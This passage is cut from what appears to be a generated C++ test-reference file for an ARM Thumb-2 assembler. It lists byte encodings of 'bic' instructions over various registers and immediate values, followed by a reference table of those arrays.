al r0 r2 0x003fc000 }; const byte kInstruction_bic_al_r13_r6_0x0002ac00[] = { 0x26, 0xf4, 0x2b, 0x3d // bic al r13 r6 0x0002ac00 }; const byte kInstruction_bic_al_r11_r5_0x00001fe0[] = { 0x25, 0xf4, 0xff, 0x5b // bic al r11 r5 0x00001fe0 }; const byte kInstruction_bic_al_r1_r13_0x00005580[] = { 0x2d, 0xf4, 0xab, 0x41 // bic al r1 r13 0x00005580 }; const byte kInstruction_bic_al_r13_r8_0x000007f8[] = { 0x28, 0xf4, 0xff, 0x6d // bic al r13 r8 0x000007f8 }; const byte kInstruction_bic_al_r6_r4_0x0ab00000[] = { 0x24, 0xf0, 0x2b, 0x66 // bic al r6 r4 0x0ab00000 }; const byte kInstruction_bic_al_r14_r10_0x1fe00000[] = { 0x2a, 0xf0, 0xff, 0x5e // bic al r14 r10 0x1fe00000 }; const byte kInstruction_bic_al_r7_r6_0xff00ff00[] = { 0x26, 0xf0, 0xff, 0x27 // bic al r7 r6 0xff00ff00 }; const byte kInstruction_bic_al_r11_r5_0xffffffff[] = { 0x25, 0xf0, 0xff, 0x3b // bic al r11 r5 0xffffffff }; const byte kInstruction_bic_al_r0_r12_0xffffffff[] = { 0x2c, 0xf0, 0xff, 0x30 // bic al r0 r12 0xffffffff }; const byte kInstruction_bic_al_r12_r2_0x15600000[] = { 0x22, 0xf0, 0xab, 0x5c // bic al r12 r2 0x15600000 }; const byte kInstruction_bic_al_r3_r12_0x000ff000[] = { 0x2c, 0xf4, 0x7f, 0x23 // bic al r3 r12 0x000ff000 }; const byte kInstruction_bic_al_r6_r8_0x00055800[] = { 0x28, 0xf4, 0xab, 0x26 // bic al r6 r8 0x00055800 }; const byte kInstruction_bic_al_r12_r7_0x05580000[] = { 0x27, 0xf0, 0xab, 0x6c // bic al r12 r7 0x05580000 }; const byte kInstruction_bic_al_r8_r5_0x007f8000[] = { 0x25, 0xf4, 0xff, 0x08 // bic al r8 r5 0x007f8000 }; const byte kInstruction_bic_al_r4_r1_0x000ab000[] = { 0x21, 0xf4, 0x2b, 0x24 // bic al r4 r1 0x000ab000 }; const byte kInstruction_bic_al_r13_r12_0x02ac0000[] = { 0x2c, 0xf0, 0x2b, 0x7d // bic al r13 r12 0x02ac0000 }; const byte kInstruction_bic_al_r9_r8_0x000000ff[] = { 0x28, 0xf0, 0xff, 0x09 // bic al r9 r8 0x000000ff }; const byte kInstruction_bic_al_r1_r11_0x00005580[] = { 0x2b, 0xf4, 0xab, 0x41 // bic al r1 r11 0x00005580 }; const byte kInstruction_bic_al_r10_r12_0x02ac0000[] = { 0x2c, 0xf0, 0x2b, 0x7a // bic al r10 r12 0x02ac0000 }; const byte kInstruction_bic_al_r7_r9_0x00ab00ab[] = { 0x29, 0xf0, 0xab, 0x17 // bic al r7 r9 0x00ab00ab }; const byte kInstruction_bic_al_r0_r5_0x0000ab00[] = { 0x25, 0xf4, 0x2b, 0x40 // bic al r0 r5 0x0000ab00 }; const byte kInstruction_bic_al_r13_r9_0x00558000[] = { 0x29, 0xf4, 0xab, 0x0d // bic al r13 r9 0x00558000 }; const byte kInstruction_bic_al_r0_r1_0x002ac000[] = { 0x21, 0xf4, 0x2b, 0x10 // bic al r0 r1 0x002ac000 }; const byte kInstruction_bic_al_r14_r1_0x00000ab0[] = { 0x21, 0xf4, 0x2b, 0x6e // bic al r14 r1 0x00000ab0 }; const byte kInstruction_bic_al_r2_r2_0x00000558[] = { 0x22, 0xf4, 0xab, 0x62 // bic al r2 r2 0x00000558 }; const byte kInstruction_bic_al_r10_r13_0x00ab00ab[] = { 0x2d, 0xf0, 0xab, 0x1a // bic al r10 r13 0x00ab00ab }; const byte kInstruction_bic_al_r4_r6_0x00001560[] = { 0x26, 0xf4, 0xab, 0x54 // bic al r4 r6 0x00001560 }; const byte kInstruction_bic_al_r10_r0_0x00156000[] = { 0x20, 0xf4, 0xab, 0x1a // bic al r10 r0 0x00156000 }; const byte kInstruction_bic_al_r10_r13_0x00156000[] = { 0x2d, 0xf4, 0xab, 0x1a // bic al r10 r13 0x00156000 }; const byte kInstruction_bic_al_r11_r2_0x001fe000[] = { 0x22, 0xf4, 0xff, 0x1b // bic al r11 r2 0x001fe000 }; const byte kInstruction_bic_al_r4_r5_0x2ac00000[] = { 0x25, 0xf0, 0x2b, 0x54 // bic al r4 r5 0x2ac00000 }; const byte kInstruction_bic_al_r8_r8_0x02ac0000[] = { 0x28, 0xf0, 0x2b, 0x78 // bic al r8 r8 0x02ac0000 }; const byte kInstruction_bic_al_r9_r1_0x7f800000[] = { 0x21, 0xf0, 0xff, 0x49 // bic al r9 r1 0x7f800000 }; const byte kInstruction_bic_al_r8_r9_0xff00ff00[] = { 0x29, 0xf0, 0xff, 0x28 // bic al r8 r9 0xff00ff00 }; const byte kInstruction_bic_al_r12_r7_0x00ff00ff[] = { 0x27, 0xf0, 0xff, 0x1c // bic al r12 r7 0x00ff00ff }; const byte kInstruction_bic_al_r9_r10_0x00156000[] = { 0x2a, 0xf4, 0xab, 0x19 // bic al r9 r10 0x00156000 }; const TestResult kReferencebic[] = { { ARRAY_SIZE(kInstruction_bic_al_r13_r14_0x02ac0000), kInstruction_bic_al_r13_r14_0x02ac0000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r1_0x00156000), kInstruction_bic_al_r10_r1_0x00156000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r0_0x000003fc), kInstruction_bic_al_r10_r0_0x000003fc, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r11_0x2ac00000), kInstruction_bic_al_r1_r11_0x2ac00000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r6_0x00156000), kInstruction_bic_al_r8_r6_0x00156000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r12_0x00ff0000), kInstruction_bic_al_r7_r12_0x00ff0000, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r3_0x00ff0000), kInstruction_bic_al_r12_r3_0x00ff0000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r7_0x0000ff00), kInstruction_bic_al_r4_r7_0x0000ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r13_0x0ab00000), kInstruction_bic_al_r11_r13_0x0ab00000, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r12_0xff00ff00), kInstruction_bic_al_r6_r12_0xff00ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r8_0x003fc000), kInstruction_bic_al_r12_r8_0x003fc000, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r12_0x00ab00ab), kInstruction_bic_al_r5_r12_0x00ab00ab, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r6_0x00ab00ab), kInstruction_bic_al_r7_r6_0x00ab00ab, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r1_0x00ab00ab), kInstruction_bic_al_r0_r1_0x00ab00ab, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r9_0x000001fe), kInstruction_bic_al_r9_r9_0x000001fe, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r8_0xab00ab00), kInstruction_bic_al_r2_r8_0xab00ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r10_0x00ff0000), kInstruction_bic_al_r9_r10_0x00ff0000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r8_0x55800000), kInstruction_bic_al_r8_r8_0x55800000, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r7_0x00ab00ab), kInstruction_bic_al_r6_r7_0x00ab00ab, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r9_0xff000000), kInstruction_bic_al_r5_r9_0xff000000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r8_0x00ab0000), kInstruction_bic_al_r8_r8_0x00ab0000, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r8_0xab00ab00), kInstruction_bic_al_r5_r8_0xab00ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r12_0xab000000), kInstruction_bic_al_r0_r12_0xab000000, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r11_0xab000000), kInstruction_bic_al_r13_r11_0xab000000, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r3_0xab00ab00), kInstruction_bic_al_r14_r3_0xab00ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r1_0x0003fc00), kInstruction_bic_al_r0_r1_0x0003fc00, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r13_0x0ab00000), kInstruction_bic_al_r14_r13_0x0ab00000, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r0_0x0002ac00), kInstruction_bic_al_r6_r0_0x0002ac00, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r8_0x55800000), kInstruction_bic_al_r6_r8_0x55800000, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r14_0x01560000), kInstruction_bic_al_r2_r14_0x01560000, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r13_0x03fc0000), kInstruction_bic_al_r5_r13_0x03fc0000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r6_0x00000ab0), kInstruction_bic_al_r7_r6_0x00000ab0, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r14_0x007f8000), kInstruction_bic_al_r3_r14_0x007f8000, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r4_0x00558000), kInstruction_bic_al_r9_r4_0x00558000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r11_0x00002ac0), kInstruction_bic_al_r10_r11_0x00002ac0, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r5_0x003fc000), kInstruction_bic_al_r1_r5_0x003fc000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r7_0x00003fc0), kInstruction_bic_al_r7_r7_0x00003fc0, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r3_0x000007f8), kInstruction_bic_al_r5_r3_0x000007f8, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r3_0x00001560), kInstruction_bic_al_r4_r3_0x00001560, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r3_0x03fc0000), kInstruction_bic_al_r5_r3_0x03fc0000, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r6_0x55800000), kInstruction_bic_al_r2_r6_0x55800000, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r5_0x0000ab00), kInstruction_bic_al_r13_r5_0x0000ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r11_0xab00ab00), kInstruction_bic_al_r0_r11_0xab00ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r12_0x00ff00ff), kInstruction_bic_al_r14_r12_0x00ff00ff, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r8_0x7f800000), kInstruction_bic_al_r13_r8_0x7f800000, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r2_0x15600000), kInstruction_bic_al_r1_r2_0x15600000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r6_0xab000000), kInstruction_bic_al_r7_r6_0xab000000, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r9_0x00000ff0), kInstruction_bic_al_r1_r9_0x00000ff0, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r8_0x0007f800), kInstruction_bic_al_r12_r8_0x0007f800, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r8_0x00ab0000), kInstruction_bic_al_r0_r8_0x00ab0000, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r11_0x000000ff), kInstruction_bic_al_r11_r11_0x000000ff, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r13_0xff000000), kInstruction_bic_al_r12_r13_0xff000000, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r3_0x0ab00000), kInstruction_bic_al_r1_r3_0x0ab00000, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r10_0x0001fe00), kInstruction_bic_al_r2_r10_0x0001fe00, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r2_0x01fe0000), kInstruction_bic_al_r14_r2_0x01fe0000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r4_0x000000ff), kInstruction_bic_al_r3_r4_0x000000ff, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r13_0x00000558), kInstruction_bic_al_r3_r13_0x00000558, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r10_0x00055800), kInstruction_bic_al_r13_r10_0x00055800, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r10_0xff000000), kInstruction_bic_al_r1_r10_0xff000000, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r7_0x2ac00000), kInstruction_bic_al_r0_r7_0x2ac00000, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r1_0xab000000), kInstruction_bic_al_r12_r1_0xab000000, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r14_0x00003fc0), kInstruction_bic_al_r9_r14_0x00003fc0, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r2_0x2ac00000), kInstruction_bic_al_r7_r2_0x2ac00000, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r4_0x00001fe0), kInstruction_bic_al_r14_r4_0x00001fe0, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r8_0x00007f80), kInstruction_bic_al_r12_r8_0x00007f80, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r10_0x00000ab0), kInstruction_bic_al_r7_r10_0x00000ab0, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r6_0x00ab0000), kInstruction_bic_al_r13_r6_0x00ab0000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r9_0x0000ff00), kInstruction_bic_al_r7_r9_0x0000ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r12_0xff00ff00), kInstruction_bic_al_r2_r12_0xff00ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r6_0x00000156), kInstruction_bic_al_r1_r6_0x00000156, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r5_0x03fc0000), kInstruction_bic_al_r7_r5_0x03fc0000, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r9_0x01fe0000), kInstruction_bic_al_r2_r9_0x01fe0000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r12_0x00002ac0), kInstruction_bic_al_r10_r12_0x00002ac0, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r10_0x7f800000), kInstruction_bic_al_r14_r10_0x7f800000, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r8_0x02ac0000), kInstruction_bic_al_r2_r8_0x02ac0000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r9_0x000001fe), kInstruction_bic_al_r4_r9_0x000001fe, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r10_0x000001fe), kInstruction_bic_al_r10_r10_0x000001fe, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r6_0x3fc00000), kInstruction_bic_al_r6_r6_0x3fc00000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r12_0x000003fc), kInstruction_bic_al_r4_r12_0x000003fc, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r2_0x0000ff00), kInstruction_bic_al_r0_r2_0x0000ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r0_0x003fc000), kInstruction_bic_al_r9_r0_0x003fc000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r4_0x000002ac), kInstruction_bic_al_r7_r4_0x000002ac, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r6_0x7f800000), kInstruction_bic_al_r6_r6_0x7f800000, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r8_0x00015600), kInstruction_bic_al_r6_r8_0x00015600, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r0_0x00000ff0), kInstruction_bic_al_r10_r0_0x00000ff0, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r1_0xffffffff), kInstruction_bic_al_r8_r1_0xffffffff, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r7_0x00ab00ab), kInstruction_bic_al_r3_r7_0x00ab00ab, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r11_0x01fe0000), kInstruction_bic_al_r8_r11_0x01fe0000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r1_0x00ff0000), kInstruction_bic_al_r3_r1_0x00ff0000, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r4_0x000001fe), kInstruction_bic_al_r5_r4_0x000001fe, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r10_0x00000558), kInstruction_bic_al_r7_r10_0x00000558, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r13_0x00001560), kInstruction_bic_al_r8_r13_0x00001560, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r4_0x00002ac0), kInstruction_bic_al_r9_r4_0x00002ac0, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r7_0x03fc0000), kInstruction_bic_al_r9_r7_0x03fc0000, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r12_0x2ac00000), kInstruction_bic_al_r11_r12_0x2ac00000, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r10_0x00001fe0), kInstruction_bic_al_r13_r10_0x00001fe0, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r10_0x00558000), kInstruction_bic_al_r11_r10_0x00558000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r2_0x000000ab), kInstruction_bic_al_r3_r2_0x000000ab, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r8_0x00000ab0), kInstruction_bic_al_r0_r8_0x00000ab0, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r7_0xab000000), kInstruction_bic_al_r9_r7_0xab000000, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r7_0x0ff00000), kInstruction_bic_al_r11_r7_0x0ff00000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r2_0x7f800000), kInstruction_bic_al_r10_r2_0x7f800000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r1_0x05580000), kInstruction_bic_al_r3_r1_0x05580000, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r4_0x0ab00000), kInstruction_bic_al_r1_r4_0x0ab00000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r9_0x00005580), kInstruction_bic_al_r4_r9_0x00005580, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r2_0x001fe000), kInstruction_bic_al_r3_r2_0x001fe000, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r6_0x00000156), kInstruction_bic_al_r14_r6_0x00000156, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r3_0x00000ab0), kInstruction_bic_al_r14_r3_0x00000ab0, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r13_0x000001fe), kInstruction_bic_al_r12_r13_0x000001fe, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r10_0x1fe00000), kInstruction_bic_al_r12_r10_0x1fe00000, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r9_0x2ac00000), kInstruction_bic_al_r0_r9_0x2ac00000, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r6_0x00000156), kInstruction_bic_al_r11_r6_0x00000156, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r4_0x3fc00000), kInstruction_bic_al_r2_r4_0x3fc00000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r13_0x00002ac0), kInstruction_bic_al_r8_r13_0x00002ac0, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r5_0x00ff00ff), kInstruction_bic_al_r1_r5_0x00ff00ff, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r1_0x0007f800), kInstruction_bic_al_r6_r1_0x0007f800, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r1_0x00001fe0), kInstruction_bic_al_r5_r1_0x00001fe0, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r11_0xab00ab00), kInstruction_bic_al_r8_r11_0xab00ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r0_0xff00ff00), kInstruction_bic_al_r5_r0_0xff00ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r13_0x000000ab), kInstruction_bic_al_r14_r13_0x000000ab, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r4_0x05580000), kInstruction_bic_al_r2_r4_0x05580000, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r10_0x07f80000), kInstruction_bic_al_r14_r10_0x07f80000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r3_0x55800000), kInstruction_bic_al_r10_r3_0x55800000, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r11_0x7f800000), kInstruction_bic_al_r0_r11_0x7f800000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r12_0xffffffff), kInstruction_bic_al_r3_r12_0xffffffff, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r3_0x00000558), kInstruction_bic_al_r2_r3_0x00000558, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r2_0x0003fc00), kInstruction_bic_al_r2_r2_0x0003fc00, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r10_0x15600000), kInstruction_bic_al_r14_r10_0x15600000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r13_0x00000156), kInstruction_bic_al_r3_r13_0x00000156, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r5_0x1fe00000), kInstruction_bic_al_r10_r5_0x1fe00000, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r5_0x00055800), kInstruction_bic_al_r1_r5_0x00055800, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r6_0xff000000), kInstruction_bic_al_r8_r6_0xff000000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r7_0x002ac000), kInstruction_bic_al_r3_r7_0x002ac000, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r4_0x00ff00ff), kInstruction_bic_al_r6_r4_0x00ff00ff, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r8_0x0007f800), kInstruction_bic_al_r0_r8_0x0007f800, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r3_0xff000000), kInstruction_bic_al_r0_r3_0xff000000, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r1_0xabababab), kInstruction_bic_al_r11_r1_0xabababab, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r10_0x000001fe), kInstruction_bic_al_r14_r10_0x000001fe, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r11_0x002ac000), kInstruction_bic_al_r4_r11_0x002ac000, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r12_0x000000ab), kInstruction_bic_al_r11_r12_0x000000ab, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r4_0x003fc000), kInstruction_bic_al_r3_r4_0x003fc000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r13_0x0ff00000), kInstruction_bic_al_r3_r13_0x0ff00000, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r4_0x00001fe0), kInstruction_bic_al_r5_r4_0x00001fe0, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r12_0x002ac000), kInstruction_bic_al_r6_r12_0x002ac000, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r13_0x1fe00000), kInstruction_bic_al_r13_r13_0x1fe00000, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r8_0x01560000), kInstruction_bic_al_r0_r8_0x01560000, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r7_0x00055800), kInstruction_bic_al_r9_r7_0x00055800, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r0_0x00000156), kInstruction_bic_al_r6_r0_0x00000156, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r12_0x00055800), kInstruction_bic_al_r14_r12_0x00055800, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r0_0xab00ab00), kInstruction_bic_al_r14_r0_0xab00ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r2_0x00ab0000), kInstruction_bic_al_r14_r2_0x00ab0000, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r3_0x000000ab), kInstruction_bic_al_r0_r3_0x000000ab, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r4_0x003fc000), kInstruction_bic_al_r13_r4_0x003fc000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r2_0x00001560), kInstruction_bic_al_r4_r2_0x00001560, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r4_0x2ac00000), kInstruction_bic_al_r14_r4_0x2ac00000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r11_0x000003fc), kInstruction_bic_al_r4_r11_0x000003fc, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r8_0x001fe000), kInstruction_bic_al_r6_r8_0x001fe000, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r14_0x00000558), kInstruction_bic_al_r12_r14_0x00000558, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r13_0x0ff00000), kInstruction_bic_al_r0_r13_0x0ff00000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r11_0xabababab), kInstruction_bic_al_r3_r11_0xabababab, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r1_0x000001fe), kInstruction_bic_al_r4_r1_0x000001fe, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r5_0x000002ac), kInstruction_bic_al_r0_r5_0x000002ac, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r5_0x0003fc00), kInstruction_bic_al_r8_r5_0x0003fc00, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r13_0x0002ac00), kInstruction_bic_al_r7_r13_0x0002ac00, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r6_0x00015600), kInstruction_bic_al_r10_r6_0x00015600, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r10_0x00ff0000), kInstruction_bic_al_r12_r10_0x00ff0000, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r12_0x00005580), kInstruction_bic_al_r12_r12_0x00005580, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r4_0x02ac0000), kInstruction_bic_al_r0_r4_0x02ac0000, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r9_0x02ac0000), kInstruction_bic_al_r9_r9_0x02ac0000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r4_0x00000558), kInstruction_bic_al_r7_r4_0x00000558, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r14_0x07f80000), kInstruction_bic_al_r12_r14_0x07f80000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r2_0xab00ab00), kInstruction_bic_al_r7_r2_0xab00ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r12_0xff000000), kInstruction_bic_al_r1_r12_0xff000000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r0_0x7f800000), kInstruction_bic_al_r8_r0_0x7f800000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r0_0x00000ab0), kInstruction_bic_al_r7_r0_0x00000ab0, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r0_0x00005580), kInstruction_bic_al_r1_r0_0x00005580, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r1_0x001fe000), kInstruction_bic_al_r14_r1_0x001fe000, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r13_0x0002ac00), kInstruction_bic_al_r13_r13_0x0002ac00, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r12_0x0002ac00), kInstruction_bic_al_r8_r12_0x0002ac00, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r10_0x00ff00ff), kInstruction_bic_al_r10_r10_0x00ff00ff, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r4_0x002ac000), kInstruction_bic_al_r4_r4_0x002ac000, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r5_0x000ab000), kInstruction_bic_al_r12_r5_0x000ab000, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r2_0x000003fc), kInstruction_bic_al_r1_r2_0x000003fc, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r11_0x001fe000), kInstruction_bic_al_r10_r11_0x001fe000, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r2_0x05580000), kInstruction_bic_al_r11_r2_0x05580000, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r6_0x000000ab), kInstruction_bic_al_r2_r6_0x000000ab, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r3_0x0000ff00), kInstruction_bic_al_r6_r3_0x0000ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r0_0x00156000), kInstruction_bic_al_r13_r0_0x00156000, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r9_0x00002ac0), kInstruction_bic_al_r2_r9_0x00002ac0, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r7_0x00055800), kInstruction_bic_al_r11_r7_0x00055800, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r9_0x00001fe0), kInstruction_bic_al_r10_r9_0x00001fe0, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r11_0x00156000), kInstruction_bic_al_r10_r11_0x00156000, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r10_0xff00ff00), kInstruction_bic_al_r12_r10_0xff00ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r14_0x00ab00ab), kInstruction_bic_al_r7_r14_0x00ab00ab, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r7_0x002ac000), kInstruction_bic_al_r14_r7_0x002ac000, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r6_0x000ff000), kInstruction_bic_al_r5_r6_0x000ff000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r1_0xff000000), kInstruction_bic_al_r8_r1_0xff000000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r0_0x000002ac), kInstruction_bic_al_r8_r0_0x000002ac, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r6_0x00002ac0), 